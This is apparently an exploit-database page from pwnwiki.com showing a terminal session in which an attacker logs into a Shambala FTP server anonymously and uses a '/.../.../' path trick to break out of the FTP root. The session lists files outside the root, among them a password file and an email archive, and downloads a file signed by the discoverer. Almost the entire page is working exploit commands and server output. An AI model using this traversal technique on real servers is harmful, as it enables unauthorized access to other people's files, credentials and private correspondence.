pwnwiki.com
,
EXP
email protected:/tmp$ ftp 1.xx.xx.xx Connected to 1.xx.xx.xx. 220 1.xx.xx.xx - Shambala FTP Server Ready. Name (1.xx.xx.xx:Administrator): anonymous 331 Password required for anonymous. Password: 230 User anonymous logged in. ftp> cd .. 550 Requested action not taken. Permission denied. ftp> pwd 257 "/" is current directory. ftp> dir 200 PORT command successful. 150 Opening data connection. d--------- owner group 0 21-maj-01 17:50 1.xx.xx.xx ---------- owner group 283 21-maj-01 17:55 index-_-1_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-2_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-3_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-4_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-5_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-6_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-7_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-8_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-9_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-10_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-11_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-12_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-13_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-14_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-15_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_-16_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_0_0_0.htm ---------- owner group 283 21-maj-01 17:55 index-_0_0_-1.htm ---------- owner group 283 21-maj-01 17:55 .htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-2.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-3.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-4.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-5.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-6.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-7.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-8.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-9.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-10.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-11.htm ---------- owner group 283 21-maj-01 18:08 index-_0_0_-12.htm ---------- owner group 283 21-maj-01 18:08 index-_0_-1_-11.htm ---------- owner group 283 21-maj-01 18:08 index-_1_0_-11.htm ---------- owner group 283 21-maj-01 18:08 index-_-1_0_-11.htm 226 Transfer complete ftp> cd ../ 550 Requested action not taken. Permission denied. ftp> EXPLOIT... ... ftp> cd /.../.../ 257 CWD command successful. ftp> dir 200 PORT command successful. 150 Opening data connection. ---------- owner group 15444 04-maj-01 14:26 SCAN.log ---------- owner group 140340 04-maj-01 14:05 MAILS-PRESIDENCIA.txt ---------- owner group 466944 18-sep-99 09:32 Shambala.exe ---------- owner group 3564 21-maj-01 17:48 ST6UNST.LOG ---------- owner group 31 21-maj-01 17:50 passwordsxxx.txt d--------- owner group 0 21-maj-01 17:50 Web 226 Transfer complete. ftp> ftp> cd /.../.../.../.../ 257 CWD command successful. ftp> dir 200 PORT command successful. 150 Opening data connection. ---------- owner group 246928 18-jan-01 13:10 N6Setup.exe d--------- owner group 0 18-jan-01 15:39 Netscape 6 d--------- owner group 0 18-jan-01 14:50 Netscape 6 Setup ---------- owner group 3209110 19-jan-01 10:51 getrgt.exe . . . . . ---------- owner group 168 21-maj-01 19:07 raza-alt3kx.txt ftp> get raza-alt3kx.txt 200 PORT command successful. 150 Opening data connection. 226 Transfer complete. 168 bytes received in 0 seconds (168 bytes/s) ftp> quit 221 Goodbye. email protected:/tmp$ cat raza-alt3kx.txt Bug discovered by alt3kx! <email protected> email protected:/tmp$
PWNWIK.COM